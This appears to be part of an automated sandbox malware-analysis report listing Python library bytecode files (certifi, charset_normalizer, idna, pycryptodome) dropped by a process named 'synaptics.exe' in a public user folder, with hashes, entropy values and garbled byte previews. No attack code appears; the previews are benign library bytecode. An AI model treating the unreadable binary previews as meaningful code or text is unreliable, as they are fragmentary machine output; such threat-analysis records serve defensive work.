Preview:	o..........f.........................@...sJ...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_lib..c_size_t..create_string_buffer..get_raw_buffer..c_uint8_ptr..is_writeable_bufferz.Crypto.Util._strxoray.... void strxor(const uint8_t in1,. const uint8_t in2,. uint8_t out, size_t len);. void strxor_c(const uint8_t in,. uint8_t c,. uint8_t *out,. size_t len);. Nc....................C...s....t.\|...t.\|...k.r.t.d.....\|.d.u.r.t.t.\|.....}.n.\|.}.t.\|...s!t.d.....t.\|...t.\|...k.r1t.d.t.\|.........t...t.\|...t.\|...t.\|...t.t.\|.........\|.d.u.rKt.\|...S.d.S.).a....From two byte strings of equal length,. create a third one which is the byte-by-byte XOR of the two... Args:. term1 (bytes/bytearray/memoryview):. Th

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.1601594076577095
Encrypted:	false
SSDEEP:	6:y/LllGtYB21NXYvAL/tdxmAfTwAvrXGl/llYlekkvuPllf8uaHxEM9ArMDPb9tuo:CRlCY6ovkxNXjkkU48Vlhf9oyF
MD5:	4A9BADA14F62DBF16041DF68C8C520DA
SHA1:	207C6E4B2DD19D9D8771F79773F1F643F8DFA860
SHA-256:	BF69AEF92A238EF1C25E2BE9CF6BA71006AFEE5685D193B9593022FCB38A726F
SHA-512:	31F1FCCF6524311E1C711862E257FB065AF0C4D6056A1DD6AF31F07C79AF69892D022C5771CDAB35341089AA7AD626F6E3AA4EEE26173429DD3BD321BBE9B9D1
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s$...g.d...Z.d.Z.d...d.d...e.D.....Z.d.S.).).Z.CipherZ.Hash..ProtocolZ.PublicKeyZ.Util..Signature..IOZ.Math).............0...c....................C...s....g.\|.].}.t.\|.....q.S...)...str)....0..xr....r.....AC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\__init__.py..<listcomp>....s......r....N)...__all__..version_info..join..__version__r....r....r....r......<module>....s..........

C:\Users\Public\QExvbmVOb25l\lib\site-packages\_distutils_hack\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7565
Entropy (8bit):	5.077960620041668
Encrypted:	false
SSDEEP:	192:CcgPE5vVnnqs8NYd7pqqx0H/8qq/xqqqRuLMJXHge3YbkqZPqqq3KqUCwqEMlkgM:iyvVnnqs+67pqqx0H/8qq/xqqqRuLMXC
MD5:	F1B3F48EEC933CE3FFBF04D9491C7030
SHA1:	D17D3E671239F251D4AC41FE7D131ECFF54FE30A
SHA-256:	0B47CD1E081140003F145547AB73754801F8C5D7996F6D66B1408A3F5508A652
SHA-512:	466A695F9C72ED87A2425BE5C776BAF9A51ACC82F86AF6D93D8C033589C6F3DF9DC76E6F26A893E9701694C3BEA1334B8C01F1674925121FE30BC4B0C7B8DD83
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.d.l.Z.d.d.l.Z.d.e.j.v.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.j.D.].Z.e.e.d.e.....e.j.....q2e...Z.d.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.S.)......NZ.__pypy__c....................C...s6...d.t.j.v.r.d.S.t.r.t.j.d.k.r.d.S.d.d.l.}.\|...d.....d.S.).N..distutils)...........r....a....Distutils was imported before Setuptools, but importing Setuptools also replaces the `distutils` module in `sys.modules`. This may lead to undesirable behaviors or errors. To avoid these issues, avoid using distutils directly, ensure that setuptools is installed in the traditional way (e.g. not an editable install), and/or make sure that setuptools is always imported before distutils.)...sys..modules..is_pypy..version_info..warnings..warn).r......r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\_distutils_hack\__init__.py..warn_distutils_present....s....................r....c....................C...sF...d.t.j.v.r.d.S.d.d.l.}.\|...

C:\Users\Public\QExvbmVOb25l\lib\site-packages\certifi\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	272
Entropy (8bit):	5.097538040202817
Encrypted:	false
SSDEEP:	6:y/AJteNbsZvEG/Xg6nCbWjN2o3IaHxEM9Arsq4G:CAjeNQeGVN2ojlBq7
MD5:	92F03D402A2988001BDEDB93D73BD709
SHA1:	27785FB8BA5DB650F11E3A90BCD5F1326C956902
SHA-256:	B795AFDAB8365E5C9193A7C44ED397B36A5C3BFBDAAB9D587A53CE239BF5A0D0
SHA-512:	0D327CCA763A4920B65D437A5ABB072D8D7D243880281E2E8AF5A5467A90733C8D974F10AD256BE1CDB427F206FE2AD1EECC0D97CBEF768C6ECA6A4719B887A3
Malicious:	false
Reputation:	low
Preview:	o.......?..f^........................@...s ...d.d.l.m.Z.m.Z...d.d.g.Z.d.Z.d.S.)......)...contents..wherer....r....z.2024.08.30N)...corer....r......__all__..__version__..r....r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\certifi\__init__.py..<module>....s..........

C:\Users\Public\QExvbmVOb25l\lib\site-packages\certifi\pycache\core.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2103
Entropy (8bit):	4.948477442954396
Encrypted:	false
SSDEEP:	48:tNBUoxmgDZLaFAl/g95K3Q8+epPUHq7J8nH:dUC/mcg955epA1H
MD5:	1DD8E7AAB24773A886ACA66D0C34B858
SHA1:	452361889D3B8117924A4F5715891A6FAE81A3E5
SHA-256:	BE908C0F0FFB373A545E6D830FDF9CD690FD0B8F5A5E3AAF0D4BED5F156C2069
SHA-512:	AB99225657C56D039C2A9F39C4EE682243B493E6F19A683568B96B7F1AC4B4C9C23334095A4F2A8862F028B109590E7C1E66F9C56BB3393E22111A8CB2E973B4
Malicious:	false
Reputation:	low
Preview:	o.......?..fJ........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.d...Z.e.j.d.k.r0d.d.l.m.Z.m.Z...d.a.d.a.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.e.j.d.k.rQd.d.l.m.Z.m.Z...d.a.d.a.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.j.e.f...Z.e.e.d.f...Z.....d.d.e.d.e.d.e.d.e.d.e.f.d.d...Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.).ze.certifi.py.~~~~~~~~~~..This module returns the installation location of cacert.pem or its contents.......N..returnc....................C...s....t...d.d.d.....d.S.).N)..._CACERT_CTX..__exit__..r....r.....>C:\Users\Public\QExvbmVOb25l\lib\site-packages\certifi\core.py..exit_cacert_ctx....s......r....)...........)...as_file..filesc....................C...s4...t.d.u.r.t.t.d.....d.....a.t.t.......a.t...t.....t.S...N..certifi..cacert.pem)..._CACERT_PATHr....r......joinpathr......str..__enter__..atexit..registerr....r....r....r....r......where....s..............r....c....................C...s....t.d.....d...j.d.d...S...Nr....r......ascii....encoding).r....r......r

C:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	5.709452859356648
Encrypted:	false
SSDEEP:	24:oV4U0b8ybWPxg+QQMzy/ClB3N/PLo3bIB3Nvh4VMhGlXwu+H2C/4PvBGJOcug/BA:A4jbqjQtyat/c2vhCMhju/C/yv+K2eUy
MD5:	6A2C7AC20CDFA210BF2BE6A9242CAE14
SHA1:	AC8E8A1D9B4C39813EE3D77088A49A5B9DF8CE3D
SHA-256:	2C4C72594F11E38674EA85E75EAA410405439D21DFD92F8B65AD9ACE8A921F01
SHA-512:	CB6713602BAD7FBD464FAD0A1E6BB6D60339F98B900029F0ECFD1455054FEBF206DEEC6BA5647AFC2DF397EAFCED8478880F2AA2FDF89FEBA33884FA28418ABF
Malicious:	false
Reputation:	low
Preview:	o.......>..fW........................@...sx...d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.e...d.....e.........d.S.).u.....Charset-Normalizer.~~~~~~~~~~~~~~.The Real First Universal Charset Detector..A library that helps you read text from an unknown charset encoding..Motivated by chardet, This package is trying to resolve the issue by taking a new approach..All IANA character set names for which the Python core library provides codecs are supported...Basic usage:. >>> from charset_normalizer import from_bytes. >>> results = from_bytes('B.... ..... ... ..... .. ............ O............!'.encode('utf_8')). >>> best_guess = results.best(). >>> str(best_guess). 'B.... ..... ... ..... .. ............ O............!'..Others methods and usages are available - see the full documentation.at <https://github.com/Ousret/charset_normalizer>..:copyright

C:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\pycache\api.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11385
Entropy (8bit):	5.821640867954899
Encrypted:	false
SSDEEP:	192:OWeJLd8V6fySfPAraft774k4M1Cz9ZZERmOBJzCTrFkYAr64BpmA+ifAgQSK5FQm:OWeJLdcS7ft77cZZaLzCvNm64mA+ifA9
MD5:	CA08A5DDFD14D6EF7BB6C03B156982BD
SHA1:	F431AE54106767C1FC8626E510AEF872A5F21A05
SHA-256:	600CE5E19397A6510430623A00C74C8498C5B03311CE55F4B0E027E29FF1D90E
SHA-512:	F5C82B3B6A595E2BD72387891D5F728B937B51D914593AFFDA02ECA74EED67062B7733A29725622C3835A0179C0A8392D9E747DDE7662052E35A215B4FD8EC8A
Malicious:	false
Reputation:	low
Preview:	o.......>..f.T.......................@...sL...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.. d...Z!e.."..Z#e#.$e..%d.........................d(d.e.e&e'f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d.d...Z,..................d(d.e.d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d d!..Z-..................d(d"e.ee&e.f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d#d$..Z...................d)d%e.e.ee.e&f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e+f.d&d'..Z/d.S.)*.....N)...PathLike)...BinaryIO..List..Optional..Set..Union.....)...coherence_ratio..encoding_languages..mb_encoding_languages..merge_coherence_ratios)...IANA_SUPPORTED..TOO_BIG_SEQUENCE..TOO_SMALL_SEQUENCE..TRACE)...mess_ratio)...CharsetMatch..CharsetMatches)...any_specified_encoding..cut_sequence_chunks..iana_name..identify_sig_or_bom..is_cp_similar..is_multi_b

C:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\pycache\cd.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9646
Entropy (8bit):	5.5173709961220645
Encrypted:	false
SSDEEP:	192:6q59eApoIRl8if8rZ+IjfsmspqbQO0opPc7HPM4pOfXntTatDlA5u4ZBTWm:V5FTf8rkmypO0iPc7Hk4pOfXnQJlYuOB
MD5:	95332C512D3C08D71872DDE640372179
SHA1:	6184FC2DEC17CB31640D174D59BAA2C90BA7CB68
SHA-256:	28BC1A24776BD14D202015C169EB80A18A8D62089E3B6817C59C49CECF0971C7
SHA-512:	49F115EAA62100360C48684A59022074CCEB7290B9C8222AB84B07A4AEE69C9E918F7CC108E45F5E7EC1674BFFA6601C6C24D16A4A4293503C39147FDFC7AB4B
Malicious:	false
Reputation:	low
Preview:	o.......>..f.2.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.e.d.e.e...f.d.d...Z.d.e.d.e.e...f.d.d...Z.e...d.e.d.e.e...f.d.d.....Z e...d.e.d.e.e...f.d.d.....Z!e.e.d...d.e.d.e.e"e"f...f.d.d.....Z#..d0d.e.e...d.e"d.e.e...f.d.d...Z$d.e.d.e.e...d.e%f.d d!..Z&d"e.d.e.e...f.d#d$..Z'd%e.e...d.e.f.d&d'..Z(d%e.d.e.f.d(d)..Z)e.dd.....d1d"e.d,e%d-e.e...d.e.f.d.d/....Zd.S.)2.....N)...IncrementalDecoder)...Counter)...lru_cache).r......Dict..List..Optional..Tuple.....)...FREQUENCIES..KO_NAMES..LANGUAGE_SUPPORTED_COUNT..TOO_SMALL_SEQUENCE..ZH_NAMES).. is_suspiciously_successive_range)...CoherenceMatches)...is_accentuated..is_latin..is_multi_byte_encoding..is_unicode_range_secondary..unicode_range..iana_name..returnc........................s....t.\|...r.t.d.....t...d...\|.....j.}.\|.d.d...}.i...d...t.d.d...D.]/}.\|...t.\|.g.....}.\|.rNt.\|...}.\|.d.u.r4q.t.\|...d.u.rN\|...

C:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\pycache\constant.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	30434
Entropy (8bit):	5.881610823760447
Encrypted:	false
SSDEEP:	768:qvZKN0taqbKcwF7wuCDXChWbpp2dmnFu3GJusAVlufzR7c:qvZ6EKcR7TcEP8g8luft7c
MD5:	F68EE8114942AAFC4D7DE8E6BADE67B2
SHA1:	97736CB2C481758A8AD2EAD17BBD495DD26ADC1F
SHA-256:	20291DE98C43D5BC149304305FBADE7E54E1726803696F7EBF7BA27512BFD21F
SHA-512:	51F0DC6B3F8FB9D6DDAB7DEFE2B323D79D301397F75DDE796345D19FF0CFF23C17832683721B73F0F7D28B2B136D7ADB4492B40F1C4790268A5543A1E0B887AE
Malicious:	false
Reputation:	low
Preview:	o.......>..f........................@...s~...U.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.g.d...d.e.e.g.e.e.g.d...Z.e.e.e.e.e.e...f...f...e.d.<.d.Z.e.e.d.<.e.d...Z.e.e.d.<.d.Z.e.e.d.<.i.d.e.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d e.d.d!....d"e.d!d#....d$e.d#d%....d&e.d%d'....d(e.d'd)....d*e.d)d+....d,e.d+d-....d.e.d-d/....i.d0e.d/d1....d2e.d1d3....d4e.d3d5....d6e.d5d7....d8e.d7d9....d:e.d9d;....d<e.d;d=....d>e.d=d?....d@e.d?dA....dBe.dAdC....dDe.dCdE....dFe.dEdG....dHe.dGdI....dJe.dIdK....dLe.dKdM....dNe.dMdO....dPe.dOdQ......i.dRe.dQdS....dTe.dSdU....dVe.dUdW....dXe.dWdY....dZe.dYd[....d\e.d[d]....d^e.d]d_....d`e.d_da....dbe.dadc....dde.dcde....dfe.dedg....dhe.dgdi....dje.didk....dle.dkdm....dne.dmdo....dpe.dodq....dre.dqds......i.dte.dsdu....dve.dudw....dxe.dwdy....dze.dyd{....d\|e.d{d}....d~e.d}d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d...

C:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\pycache\legacy.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	5.510079891018974
Encrypted:	false
SSDEEP:	48:owwE8mcebSh3Ue75yubxeNOhsV4Me+NK29:owAmcebSyo5yc4NFV4Me+Nn
MD5:	CE5739AC4A83CF18DDE2541086918D91
SHA1:	CE199819AEA1EAC78114C477AF2568D892F17256
SHA-256:	9DD8259AAB877C489B141B8F9E31D4BA829AF873FF8A7CC8AF8893773F58FD25
SHA-512:	EDB71150D04678FA92E8EE35704AA062E9500A050FCE9C331A321A1EBE39F506FA66D5C54529D7C030B272D8377538A4145DFEBEE479C6B7F9F6D82FC12022D4
Malicious:	false
Reputation:	low
Preview:	o.......>..fM........................@...sr...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.d.e.d.e.d.e.d.e.e.e.e.e.e.f.....f...f.d.d...Z.d.S.)......)...Any..Dict..Optional..Union)...warn.....)...from_bytes)...CHARDET_CORRESPONDENCEF..byte_str..should_rename_legacy..kwargs..returnc....................K...s....t.\|...r.t.d.d...t.\|...........d.......t.\|.t.t.f...s#t.d...t.\|.........t.\|.t...r,t.\|...}.t.\|.......}.\|.d.u.r9\|.j.n.d.}.\|.d.u.rG\|.j.d.k.rG\|.j.n.d.}.\|.d.u.rRd.\|.j...n.d.}.\|.d.u.rc\|.d.k.rc\|.j.rc\|.d.7.}.\|.d.u.ro\|.t.v.rot.\|...}.\|.\|.\|.d...S.).aJ.... chardet legacy method. Detect the encoding of the given byte string. It should be mostly backward-compatible.. Encoding name will match Chardet own writing whenever possible. (Not on encoding name unsupported by it). This function is deprecated and should be used to migrate your project easily, consult the documentation for. further information. Not planned for removal... :param byte_str: The byte seque

C:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\pycache\models.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11529
Entropy (8bit):	5.174314918222234
Encrypted:	false
SSDEEP:	192:N3OucwM2HQVZI3mkrM0Af4/W7QeyRhhpermRK+pQCBdjWdIq:NeuvM2HQVZIjrdAf4eSvhpeKc+iCHWdD
MD5:	9B0C0FCAF5CB5FF7C0D4D23E83DE35A3
SHA1:	7137C75E29FADCB8E8AE6A4279805D6EB86C3E0C
SHA-256:	E03827CFFB94785EB9C72A2F1CA5BCD342FF6A8197237FA7614BA1C69917DBD6
SHA-512:	E25D99A30A6A055F2C3403604157964DC98D81D6549BFDBA26ED42CEB9C52442B9CE10AF4EEB2F34B40E03AFC0CFDAF3FD47229CAA01360BE52E0A35B4658F6D
Malicious:	false
Reputation:	low
Preview:	o.......>..f.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d...Z.G.d.d...d...Z.e.e.e.f...Z.e.e...Z.G.d.d...d...Z.d.S.)......)...aliases)...sha256)...dumps)...Any..Dict..Iterator..List..Optional..Tuple..Union.....)...TOO_BIG_SEQUENCE)...iana_name..is_multi_byte_encoding..unicode_rangec....................@...s....e.Z.d.Z...d=d.e.d.e.d.e.d.e.d.d.d.e.e...f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.e.d.e.f.d.d.....Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d>d.d...Z.e.d.e.f.d.d.....Z.e.d.e.e...f.d.d.....Z.e.d.e.f.d.d.....Z.e.d.e.f.d.d ....Z.e.d.e.e...f.d!d"....Z.e.d.e.f.d#d$....Z.e.d.e.f.d%d&....Z.e.d.e.f.d'd(....Z.e.d.e.f.d)d*....Z.e.d.e.f.d+d,....Z.e.d.e.f.d-d.....Z.e.d.e.d...f.d/d0....Z.e.d.e.f.d1d2....Z.e.d.e.e...f.d3d4....Z.e.d.e.e...f.d5d6....Z d?d8e.d.e.f.d9d:..Z!e.d.e.f.d;d<....Z"d.S.)@..CharsetMatchN..payload..guessed_encoding..mean_mess_ratio..has_sig_or_bom..languages..CoherenceMatches..decod

C:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\pycache\utils.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8910
Entropy (8bit):	5.468404511247454
Encrypted:	false
SSDEEP:	96:HnaWkveyNwQTpaKOvKDqBd9KkzZYozi7WHLuo8+bactNZo87af2sfGdrB6bQPTIT:kvk+DqBNzk7yuoXbFLZDafhGdpr4FFv
MD5:	FDAE1F27E1DC1624E378592E306E8A96
SHA1:	D4625F16E177AC3620FA821BA98632CCD819A6C9
SHA-256:	FC51837708A2EBA238C77AFFB44C0D41DB8A2C0BC136683B73C624366D9812CF
SHA-512:	BB4507723FA85FE427065CCEA7F0803614093C89F5DC79A67B5AE690B61F84925B4789E245705B3FB236F35177EA4C077BDD39573AFF20EB2AD1CEF5DC86C68E
Malicious:	false
Reputation:	low
Preview:	o.......>..f.0.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.e.d...d.e.d.e.f.d.d.....Z.e.e.d...d.e.d.e.f.d.d.....Z.e.e.d...d.e.d.e.e...f.d.d.....Z.e.e.d...d.e.d.e.f.d.d.....Z e.e.d...d.e.d.e.f.d.d.....Z!e.e.d...d.e.d.e.f.d.d.....Z"e.e.d...d.e.d.e.f.d.d.....Z#e.e.d...d.e.d.e.f.d.d.....Z$e.e.d...d.e.d.e.f.d.d.....Z%e.e.d...d.e.d.e.f.d.d ....Z&e.e.d...d.e.d.e.f.d!d"....Z'e.e.d...d.e.d.e.f.d#d$....Z(e.e.d...d.e.d.e.f.d%d&....Z)e.e.d...d.e.d.e.f.d'd(....Ze.e.d...d.e.d.e.f.d)d....Z+e.e.d...d.e.d.e.f.d+d,....Z,e.e-e...d...d-e.d.e.f.d.d/....Z.e.e.d...d.e.d.e.f.d0d1....Z/d_d3e0d4e1d.e.e...f.d5d6..Z2e.d7d...d8e.d.e.f.d9d:....Z3d3e0d.e.e.e...e0f...f.d;d<..Z4d=e.d.e.f.d>d?..Z5d`dAe.dBe.d.e.f.dCdD..Z6dEe.d.e.e...f.dFdG..Z7dHe.dIe.d.e8f.dJdK..Z9dHe.dIe.d.e.f.dLdM..Z:dNe.j;dOf.d8e.dPe1dQe.d.d.f.dRdS..Z<..dadTe0dUe.dVe=dWe1dXe.dYe.dZe0d[e.d\e.e...d.e.e.d.d.f...f.d]d^

C:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\pycache\version.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	5.300756479627271
Encrypted:	false
SSDEEP:	6:y/BGt/z/Oszurb64bJf+uaHxEM9ArsQx6G3D8Isi:CQ/z/OsJaJwlBQ8GT8Iv
MD5:	E4000410CF40C2B2FA3F2491B04A9B58
SHA1:	491ECDE66A6F7BDE1E8CE10E5F23410AE7F1FF0D
SHA-256:	2AB5CA783723F2BB0186DFEAA70B8562FB3FB9730F64D8443B0E31E52884A37E
SHA-512:	D4DCD22266C7A62ECE27DE4327D915CE0F8766E458F434516AED6C42A8E76EDAA0295A20A466F6F3211B4FA13BCBB8AE5E0A0F3A55876DB82D8F9784549FE7CD
Malicious:	false
Reputation:	low
Preview:	o.......>..fU........................@...s....d.Z.d.Z.e...d...Z.d.S.).z..Expose version.z.3.3.2...N)...__doc__..__version__..split..VERSION..r....r.....LC:\Users\Public\QExvbmVOb25l\lib\site-packages\charset_normalizer\version.py..<module>....s..........

C:\Users\Public\QExvbmVOb25l\lib\site-packages\idna\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	5.105060865619361
Encrypted:	false
SSDEEP:	12:CSCSrJBifjefr9xLGmdChEYOcAMmXkOOs28s4qUUjOs28ssqU/C+Vlyzx5:pijeXL/whvOcAdtOb8fcjOb897g
MD5:	992F897492FD29277FB10EC9B4358526
SHA1:	41A00693E4644B3C64FBD1B88381A7170C16CAF2
SHA-256:	376CDF3C2ECADAC9358C9C28235C7C154F50378FD229067F5977DD017D534058
SHA-512:	2A20F4D89D35303E2248D4435F684E7AEC73A36A86F716798997F949DB2291309831F27E0003FBD38A25D77147B378561202AC9ADC81C4AD1AED55988B26000D
Malicious:	false
Reputation:	low
Preview:	o.......>..fd........................@...st...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.S.)......)...IDNABidiError..IDNAError..InvalidCodepoint..InvalidCodepointContext..alabel..check_bidi..check_hyphen_ok..check_initial_combiner..check_label..check_nfc..decode..encode..ulabel..uts46_remap..valid_contextj..valid_contexto..valid_label_length..valid_string_length)...intranges_contain)...__version__).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...corer....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....Z.intrangesr....Z.package_datar......__all__..r....r.....?C:\Users\Public\QExvbmVOb25l\lib\site-packages\idna\__init__.py..<module>....s....P.......

C:\Users\Public\QExvbmVOb25l\lib\site-packages\idna\pycache\core.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9917
Entropy (8bit):	5.446833464521934
Encrypted:	false
SSDEEP:	192:NePGIILf6b4+bMh9t5uszP0M7Bhu5XCwY2uVNnaMWT/czpko:cPpIF+bMPt5usb1h0XFY2ubnUbQ
MD5:	63AD381C030C6C1315A83E82BD39A6EA
SHA1:	D669D720FE2035444E9C136BE83956A493A1C2DA
SHA-256:	AD2032912A8FD88E630E4982D90F4E9A3E5D82ECB0606FA389F99BEEF22501E6
SHA-512:	F2EEC130E81CA603C2585CC69F85FC0237F93BCD87B7131BB54BAC3BFBA433BBDFEB69F93101A5121D77A218B493C61C66198D7DD36DAB7985D319DE34E25D62
Malicious:	false
Reputation:	low
Preview:	o.......>..fR5.......................@...sj...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e...d...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.e.d.e.f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.e.e.f...d.e.f.d.d ..Z.d.e.e.e.f...d!e.d.e.f.d"d#..Z.dFd.e.d%e.d.e.f.d&d'..Z.d.e.d.e.f.d(d)..Z.d.e.d.e.f.dd+..Z d.e.d.d.f.d,d-..Z!d.e.d.e.d.e.f.d/d0..Z"dFd.e.d.e.d1e.d.e.f.d2d3..Z#d.e.e.e.e$f...d.d.f.d4d5..Z%d.e.d.e.f.d6d7..Z&d.e.e.e.e$f...d.e.f.d8d9..Z'dGd;e.d<e.d=e.d.e.f.d>d?..Z(.$.$.$.$dHd.e.e.e.e$f...d@e.dAe.d<e.d=e.d.e.f.dBdC..Z).$.$.$dId.e.e.e.e$f...d@e.dAe.d<e.d.e.f.dDdE..Zd.S.)J.....N)...Optional..Union.....)...idnadata)...intranges_contain.....s....xn--u....[....])%.0....1....2....3....4....5....6....7....8....9...._....a....b....c....d....e....f....g....h....i....j....k....l....m....n....o....p....q....r....s....t....u....v....w....x....y....z...c....................@........e.Z.d.Z.d.Z.d.S.)...IDN

C:\Users\Public\QExvbmVOb25l\lib\site-packages\idna\pycache\idnadata.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	198619
Entropy (8bit):	3.520914545089092
Encrypted:	false
SSDEEP:	1536:PIS0p2ZbbO4g3aD8yynBXLD4RoC2Mo+4S+s8ecqmUM2UK+QQeky22ImSsEgYtqWy:P621S458yys
MD5:	8A84F839B282549F777EB57750D669D1
SHA1:	ACBE9BF8349006D81B40722B126630707A753E53
SHA-256:	B29AA4E439910BF86E3017F53A89539A58C82634A967C6F0921C2E698A0C0EA9
SHA-512:	1224B35C7E7BA4CC8268E506DC8EF7D667B64FCC367F2085B269E969EA676C8C19FB9A21CDF5ADC9670DFAC3226525A45D878801DE83141D81C2E3E5824910AF
Malicious:	false
Reputation:	low
